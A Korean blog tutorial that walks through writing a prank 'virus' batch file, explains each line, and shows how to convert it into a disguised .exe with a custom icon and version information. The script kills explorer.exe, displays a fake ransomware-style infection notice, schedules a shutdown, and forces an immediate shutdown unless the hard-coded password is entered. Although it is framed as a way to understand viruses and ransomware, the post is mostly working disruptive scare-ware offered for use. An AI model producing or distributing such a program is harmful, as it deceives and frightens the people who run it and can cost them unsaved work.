CMD를 이용해서 바이러스성 프로그램을 만들어 보겠습니다!

 

바이러스와 랜섬웨어를 이해할 수 있는 프로그램입니다ㅎㅎ

 

 

 

 

 

메모장을 연 후 다음 코드를 작성합니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@echo off
cls
 
color 17
 
taskkill /f /im explorer.exe
cls
echo DongTeacher
echo 당신은 치명적인 악성코드 Dong 버전에 감염되었습니다.
 
shutdown -s -t 100
echo 복구 방법 : kujung.tistory.com에 이메일을 남겨주세요. 
 
set /p password=비밀번호:
if %password%==1234 goto case2
 
:case1
cls
echo WRONG PASSWORD..!  비밀번호가 틀렸습니다. 컴퓨터가 종료됩니다.
shutdown -a
shutdown -s -t 1
exit
 
:case2
cls
echo 비밀번호가 맞습니다. 강제종료가 취소되었습니다.
shutdown -a
start C:\Windows\explorer.exe
pause
cs

 

 

 

모든 명령어는 cmd에서 적용가능한 명령어들입니다.

 

 한 문장씩 cmd에 입력해보는 것도 좋은 방법입니다.

 

결국 cmd는 이 텍스트 파일을 한 문장씩 순서대로 읽으며 명령어를 실행하게됩니다.

 

 

 

 

 

코드를 분석해보겠습니다.

 

 

 

 

1 : cmd 명령어 입력창에 파일경로를 없애줍니다.

 

2 : 화면을 지워줍니다.

 

4 : cmd 화면색,글자색을 지정합니다.

현재 1(파랑색)7(흰색), color /? 명령어를 통해서 알 수 있습니다.

 

6 : 가장 핵심이 되는 코드입니다. explorer.exe를 죽여줍니다. 빈 화면을 만들어줍니다.

start C:\Windows\explorer.exe을 통해 복구합니다.

 

8 : printf와 같은 기능입니다. 화면에 글자를 출력합니다.

 

10 : 100초후에 컴퓨터가 종료됩니다.

 

14 : set은 변수에 값을 담는 명령어 입니다 /p를 통해서 사용자에게 직접 입력받습니다.

 

15: if 조건문을 통해서 입력받은 값과 기존 값을 비교합니다. 참이라면 case2로 이동합니다.

 

20 : 컴퓨터 종료대기를 취소하는 코드입니다. 새로운 종료를 만들기위해서 기존 종료대기를 취소합니다!

 

21 : 1초후 컴퓨터를 종료합니다.

 

22 : cmd창을 종료합니다.

 

28 : 화면을 다시 정상적으로 출력해줍니다.

 

 

 

 

 

코드를 작성한 후 .bat 형식으로 저장해줍니다.

 

그 다음 파일을 눌러서 실행해봅니다!

 

 

 

 

괜찮은 프로그램이 만들어졌습니다 하하

 

더욱 완성된 프로그램으로 발전시켜보겠습니다.

 

 

 

Bat To Exe Converter라는 프로그램을 다운받습니다.

 

http://www.f2ko.de/en/b2e.php

 

bat파일을 exe파일로 변환해주는 프로그램입니다.

 

다운받은후 bat파일을 올려줍니다.

 

 

 

 

버전 정보로 들어가서 재미나게 입력해줍니다.

 

아이콘 이미지도 취향껏 넣어주세요.

 

 

 

 

 

 

 

버전정보를 확인해보세요!!

 

 

 

 

 

 

CMD로 초간단 바이러스 프로그램 만들기 끝!!

dongbug.exe

 

 

'똥 만들기 > 프로젝트' 카테고리의 다른 글

[프로젝트]아두이노 스마트 가로등  (0) 2017.08.06

+ Recent posts